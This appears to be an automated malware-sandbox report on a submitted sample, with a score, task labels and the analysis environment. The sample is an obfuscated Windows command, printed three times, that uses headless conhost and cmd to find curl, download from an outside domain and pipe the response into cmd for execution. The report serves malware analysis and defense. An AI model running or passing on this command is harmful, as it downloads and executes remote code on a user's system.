General
- Target http://"C:\Windows\system32\conhost.exe" --headless cmd /v /c "set xp=https:&set zoj=//logincrypt8338.com/b?t=4myVxZ4k&for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do %d --proxy-negotiate -U : -s !xp!!zoj!| %b"
- Sample260910-xj48cavbjf
Score
4/10
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://"C:\Windows\system32\conhost.exe" --headless cmd /v /c "set xp=https:&set zoj=//logincrypt8338.com/b?t=4myVxZ4k&for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do %d --proxy-negotiate -U : -s !xp!!zoj!| %b"
Resource
win10v2004-20260513-en
11 signatures
600 seconds
Malware Config
Targets
-
- Target http://"C:\Windows\system32\conhost.exe" --headless cmd /v /c "set xp=https:&set zoj=//logincrypt8338.com/b?t=4myVxZ4k&for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do %d --proxy-negotiate -U : -s !xp!!zoj!| %b"
Score4/10